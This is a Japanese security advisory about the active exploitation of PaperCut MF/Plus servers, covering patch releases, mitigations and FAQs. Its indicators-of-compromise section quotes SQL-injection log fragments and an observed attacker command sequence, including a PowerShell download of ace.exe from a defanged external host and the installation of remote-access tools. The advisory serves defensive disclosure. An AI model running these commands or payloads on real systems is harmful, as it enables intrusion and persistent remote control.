緊急のセキュリティアドバイザリ
現在の状況
2026年9月10日 午後2時（AEST）：
セキュリティメンテナンスリリースが公開されました。
これはすべての緊急パッチに代わるものです。ダウンロードリンクは以下をご確認ください。
経緯については、「Behind the Scenes」ブログ記事をご覧ください。
PaperCut社のセキュリティ対応チームは、
PaperCut MF/Plusに影響を及ぼす脆弱性を悪用する攻撃が現在行われている件について調査を行っています。
弊社では、顧客におけるインシデントの発生が確認されていることを把握しており、この件を最優先事項として対応しています。
現在、調査を継続中です。侵害の兆候や対策ガイダンスなど、確認された情報が入り次第、本セキュリティ情報を更新いたします。
セキュリティメンテナンスリリース
PaperCut MF/Plus (NG) 26.0.5、25.0.13、24.1.10が利用可能になりました。
これらは、完全な品質保証テストを経た定期メンテナンスリリースです。
緊急パッチリリース1、2、3で発行されたすべてのセキュリティ修正に加え、追加のセキュリティ強化が含まれており、
PaperCut社の標準的なリリーステストプロセスを経て、リリースされています。
リリースノートはリリースと同時に公開されます。
このセキュリティメンテナンスリリースは、緊急パッチに置き換わるものです。
緊急パッチビルドを使用している場合は、メンテナンスリリースに移行してください。
まだパッチを適用していない場合は、今すぐアップグレードしてください。
下記よりインストーラをダウンロードしてください。
インストール方法は通常のアップデートの時と同じ上書きインストールです。
PaperCut MF
PaperCut Plus(NG)
・ カード/ID番号の検索に外部データベースを使用している場合、下記のFAQを確認してください。
・ サイトサーバを使用している場合、下記のFAQを確認してください。
セキュリティ上の問題
影響を受ける可能性がある環境
本アドバイザリは、下記のすべてのバージョンに適用されます：
・ PaperCut MF
・ PaperCut Plus(NG)
侵害の兆候と調査の指針
下記の事項は、侵害の兆候である可能性があります。
・ PaperCutアプリケーション・サーバに関連する、侵入検知、エンドポイントセキュリティ、またはネットワーク監視ツールからのアラート。
特に、pc-app.exeによる不審なエクスプロイト後の活動に関するもの。
・ PaperCutのserver.logファイルが見つからない、連番でローテーションされているはずが、予期せず切り詰められている、または削除されている。
・ server.logに以下のエントリのいずれかが記録されている：
ERROR No suitable driver found for jdbc:no:x
ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST
その他の侵害の兆候 [30 August 2026, 3:35pm (AEST) 更新]
PaperCut社では、下記の追加的な侵害の兆候を把握しています。
server.log内に下記のエントリ:
・ DB URL: jdbc:derby:memory:pwn;create=true
・ Database error looking up cardID: VALUES CAST(X'cafebabe
・ Database error looking up cardID: VALUES CAST('
・ DB URL: jdbc:no:x DB Driver: <5-char random name>
ディスクに書き込まれたファイル:
・ <install>\server\lib\<5-char-name>.class
・ <install>\server\data\content\<5-char-name>.cmd
・ <install>\server\data\content\<5-char-name>.out
なお、これらのファイルは攻撃の進行に伴い、攻撃者によって削除される可能性があるため、
ファイルが存在しないからといって、システムが侵害されていないとは断定できません。
顧客環境はそれぞれ異なるため、侵害後の活動について、単一の共通したパターンを特定することは困難ですが、
確認された動作としては、pc-app.exe(またはpc-app)プロセスが子シェルプロセス(cmd.exe)を起動し、
whoamiおよびverを実行することが挙げられます。場合によっては、エンドポイント保護機能がそれ以上の実行を阻止し、
そのマシンを隔離することもあります。
実行が阻止されなかった場合、以下のコマンドシーケンスが確認されました。これらは実時間(00:00:00から開始)ではなく、
最初のコマンドからの経過時間として示されています
(以下のURLは誤った実行を防ぐため、hxxpおよび[.]で無害化されています。
検出ツールやブロックリストで使用する際は、http/.に置き換えてください。)
|
00:00:00 whoami & ver 00:01:19 tasklist 00:04:42 nltest /dclist: 00:06:09 quser & dir c:\users 00:16:07 powershell
Invoke-WebRequest -Uri hxxps://sendit[.]sh/Gg7Rp/ace[.]exe -OutFile
C:\ProgramData\ace.exe 00:18:07 dir c:\programdata /a 00:19:27 c:\programdata\ace.exe
/S 00:21:29 Windows Service
"Remote Access Service" installed (SimpleHelp agent,
C:\ProgramData\JWrapper-Remote
Access\JWAppsSharedConfig\restricted\SimpleService.exe, running as
LocalSystem, set to auto-start) 00:21:41 tasklist 00:27:37 powershell
Invoke-WebRequest -Uri hxxps://download[.]anydesk[.]com/AnyDesk.exe -OutFile
C:\ProgramData\AnyDesk.exe |
上記のパスから SimpleService.exe を実行している「リモートアクセスサービス」という名前の Windows サービスが存在しないか、
また予期しない AnyDesk のインストールがないかを確認することをお勧めします。
これらは、システムが侵害された後に使用される可能性のあるリモートアクセスツールの兆候となる可能性があります。
重要
上記の指標が見られないからといって、システムが影響を受けていないことを保証するものではありません。
PaperCut社では、検証済みの具体的な指標やさらなるガイダンスが利用可能になり次第、ご報告いたします。
[更新：2026年9月10日午後2時 (AEST)]
第三者の研究者からも、侵害の痕跡（Indicators of Compromise、IoC）が公開されています。
これには、GreyNoiseによる分析も含まれます。
https://www.greynoise.io/blog/ai-orchestrated-campaign-against-papercut-ng-mf
これらについて、当社では独自に検証を行っておらず、また、当社に寄せられた報告に基づくものでもありません。
そのため、これらの情報をもとに対応を行う場合は、必ずご自身の環境と照らし合わせて、その内容を検証してください。
現在のステータス
FAQ
Q． これはオフィシャルなリリースですか？
A． はい。緊急パッチとは異なり、これらは完全な品質保証テストを経た通常のメンテナンスリリースです。
これらのリリースには新しいバージョン番号が付けられ、公開されたリリースノートが用意されています。
Q． メンテナンスリリースを適用するにはどうすればいいですか？
A． 前述のダウンロードリンクからインストーラをダウンロードし、通常のアップグレード手順に従って適用してください。
Q． 緊急パッチを既に適用しています。メンテナンスリリースも適用する必要はありますか？
A． はい。適用する必要があります。ただし、緊急を要するものではありません。
緊急パッチ リリース3を適用している場合、このアドバイザリで説明されている問題からは保護されているため、
お客様の通常のスケジュールでアップグレードを計画して問題ありません。
メンテナンスリリースでは、標準的なリリースプロセスを通じて保護機能が提供されるほか、
追加のセキュリティ強化、公開されたリリースノート、新しいバージョン番号が提供されます。
緊急パッチ リリース1またはリリース2を適用している場合は、今すぐアップグレードしてください。
Q． 他のコンポーネント(サイトサーバやセカンダリサーバなど)も更新する必要がありますか?
A． プライマリ・アプリケーション・サーバだけでなく、
サイト・サーバおよびセカンダリ・サーバとプリント・サーバも緊急パッチに更新する必要があります。
モビリティ・プリントおよびプリンタ展開のサーバ・コンポーネントには影響がないため、更新する必要はありません。
クライアント・ソフトウェア(ユーザクライアント, プリンタ展開クライアント, モビリティ・プリントのインストーラ)は、
影響がないため更新する必要はありません。
Q． サーバが不正アクセスを受けた疑いがある場合、どうすればよいですか?
A． サーバが侵害された疑いがある場合、最新のバックアップ・データを確保し、アプリケーション・サーバを完全に
初期化して再構築した上で、不審な動作が検出される前に作成されたクリーンなバックアップを復元することをお勧めします。
さらに、組織のセキュリティ対応手順を発動し、標準的なインシデント対応プロトコルに従う必要があります。
PaperCut社は個々の環境を把握していないため、侵害されたサーバによる影響の全容を確認・評価することはできません。
Q． 私のインストール環境では、カード番号は外部データベースを参照しています。どのような変更が必要ですか？
A． これはめったに使用されない機能であり、ほとんどのお客様は何も操作する必要はありません。
操作が必要な場合は、以下の手順に従ってください。
「security.properties」ファイル内に設定キー「security.card-number-lookup.enabled=Y」を追加し、
アプリケーション・サーバを再起動してください。
この機能のデフォルト設定はオフ（N）となっており、機能が無効化されています。
このキーが設定されていない場合、管理用 UI では機能が有効になっているように表示されていても、
PaperCut NG/MF は外部からのユーザー検索呼び出しを黙って無視します。
Q． パッチを適用し「security.properties」に「security.card-number-lookup.enabled=Y」を追加しましたが、
カードの照会に依然として失敗します。
A． 外部カード検索にSQL Serverとレガシ版のSourceforge jTDSドライバを使用している場合、
サポート対象の最新のMicrosoft SQL JDBCドライバに更新することをお勧めします。
これはベストプラクティスですが、すべてのケースで問題が解決するとは限りません。
それでも検索が失敗する場合は、PaperCutサポートまでお問い合わせください。
Q． PaperCut MF/Plus(NG) ve.23およびそれより前のバージョン向けのリリースは予定されていますか?
A． バージョン23以前については、緊急パッチもメンテナンスリリースも提供されません。
パッチ適用済のビルドに移行するには、現在サポートされているバージョン系列(24、25、26)のいずれかにアップグレードする必要があります。
これらの各バージョン系列には、パッチ適用済のリリースが用意されています。
アップグレードが可能になるまでは「至急行って頂きたいアクション」に記載されている緩和策を必須の対策として実施してください。
具体的にはアプリケーション・サーバへのWebアクセスを、信頼できるアドレスのみに制限してください。
アップグレードの計画についてサポートが必要な場合は、アップグレードページを参照するか、販売店までお問い合わせください。
Q． この脆弱性はPaperCut Hive/Pocketにも影響しますか?
A． 影響しません。
このセキュリティ情報および記載されている脆弱性はPaperCut HiveおよびPocketには該当しません。
Q． ライセンスの有効期限が切れています。もしくはライセンスの更新手続き中です。どうすればよいですか？
A． ライセンスの問題でアップグレードが遅れることが無いようにしてください。
アプリケーションサーバがインターネットからアクセス可能な場合、
サポート対象でパッチが適用されたバージョンへの移行が最優先にしてください。
PaperCutサポートもしくは販売店までご連絡いただきましたら、問題の解決のお手伝いをさせていただきます。
必要に応じて緊急の一時ライセンスを発行することも可能です。
これにより、ライセンスの問題がサーバへのパッチ適用を妨げる要因になることはありません。
Q． アップグレードしたのに、まだ製品のセキュリティに関する通知が表示されています。なぜですか?
A． 緊急パッチのビルドは、そのベースとなったパッチ未適用リリースと同じバージョン番号が割り当てられていたため、
製品内の通知はパッチが適用されたサーバと未適用のサーバを区別することができませんでした。
メンテナンスリリースをインストールすると、新しいバージョン番号が割り当てられるため、この問題は解決されます。
現在、緊急パッチリリース3を使用していて、依然として通知が表示されている場合でも、
本アドバイザリで説明されている問題に対しては保護されています。
メンテナンスリリースに移行すれば通知は消えます。
Q． PaperCutの対応には誰が貢献していますか?
A． このインシデントに対するセキュリティコミュニティの対応は、真に協力的な取り組みでした。
PaperCutは、Huntress、watchTowr、そして数多くの独立系セキュリティアドバイザー、
さらに情報共有のために私たちと協力してくださったお客様各社のデジタルフォレンジック
およびインシデント対応チームの皆様に、心より感謝申し上げます。
Q． 今、何が起きているのか、もう少し詳しく教えてもらえませんか?
A． このお知らせは事実に基づいて簡潔にまとめられており、お客様に必要な情報を提供することを目的としています。
当社のCEO兼共同創業者によるブログ記事では、現在の状況について詳しく解説しています。
【Behind the scenes - What happened after 9:42 a.m. on Thursday】
https://www.papercut.com/blog/news/behind-the-scenes-august-security-incident/
旧情報
以下の情報は、8月下旬から9月上旬にかけての緊急パッチ提供期間中に適用されていたものです。
これらの情報は、参考資料として掲載しています。
緊急対応チームより緊急パッチ(リリース3)がリリースされ、リリース2に代わるものとなりました。
以前のパッチをインストールする必要はありません。このパッチには、これまでのすべての緊急リリースの内容が含まれています。
今回のリリースでは、既知の2つの問題に対応するともに、
潜在的な攻撃チェーンに対する追加のセキュリティ強化および緩和策が追加されています。
問題への対応内容は以下のとおりです。
・ SAMLログインフローが正常に動作しない問題への対応
・ 外部カード検索で、従来のMicrosoft SQL Serverドライバーを使用する機能のサポートを復旧
すでに以前の緊急リリースを適用している場合でも、Release 3をできるだけ早くインストールすることを推奨します。
［更新：2026年8月28日 午後8時42分（AEST）］
更新版の緊急パッチ（リリース2）をリリースしました。
至急行って頂きたいアクション
PaperCut Plus/MF アプリケーション・サーバがパブリックインターネットからのアクセス可能な場合、
直ちにWebアクセスを「信頼できるIPアドレス」のみに制限してください。
設定方法に関しましては下記URLを参照してください。
https://cosy-faq.relationfaq.jp/pages/529
さらに、ファイアウォールルール、ネットワークアクセス制御、または同等の措置を実施し、
PaperCutサーバのWebインタフェースが信頼できないインターネット・アドレスからアクセスできないようにしてください。
不審な動作が確認されていない場合でも、直ちにこの措置を実施してください。
FAQ
Q． モビリティ・プリントのポートへのアクセスを制限する必要がありますか?
A． いいえ、モビリティ・プリントは影響を受けない別のアーキテクチャ上で動作しており、影響を受けることはありません。
そのため、モビリティ・プリントのポートは開いたままにしておいても問題ありません。
Q． 緊急パッチリリース3はリリース2と比較してどのような変更点がありますか？
A． 今回のリリースでは、2つの既知の機能後退に対処するとともに、
潜在的な攻撃チェーンに対するセキュリティ強化と緩和策を追加しています。機能後退には下記が含まれます。
・ SAMLログインフローの不具合を修正
・ 外部カード照会におけるレガシーな Microsoft SQL Server ドライバの使用に対するサポートを復活しました。
緊急パッチリリース 3 では、実環境で悪用されていることが確認された追加の攻撃経路を封じ込めるためのセキュリティ強化がさらに施されています。
カード番号や ID 番号の照会、およびその他の設定手順に関するガイダンスについては、緊急パッチリリース 2 から変更はありません。
Q． すでに緊急パッチリリース2を適用していますが、リリース3も適用する必要がありますか?
A． はい、標準的なアップグレード手順に従ってリリース3をインストールしてください。
以前のパッチをインストールする必要はありません。このパッチにはすべての緊急リリースがまとめられています。
セキュリティ通知
PaperCutセキュリティ・メーリングリストの登録方法について記載します。
PaperCutのセキュリティに関するニュース(セキュリティ関連の修正プログラムや脆弱性情報を含む) をタイムリーに受け取りたい場合、
セキュリティ通知リストに登録し、セキュリティ通知登録フォームから登録してください。
システム管理者の方、または組織でPaperCut製品の導入を実施されている方は、
セキュリティ関連のニュースやアップデートをいち早く入手することができます。
【Subscribe to security notifications】
https://www.papercut.com/contact/security/#subscribe
更新履歴
-------------------------
https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/?lid=0na0tu4vmpqw
0 件のコメント :
コメントを投稿
注: コメントを投稿できるのは、このブログのメンバーだけです。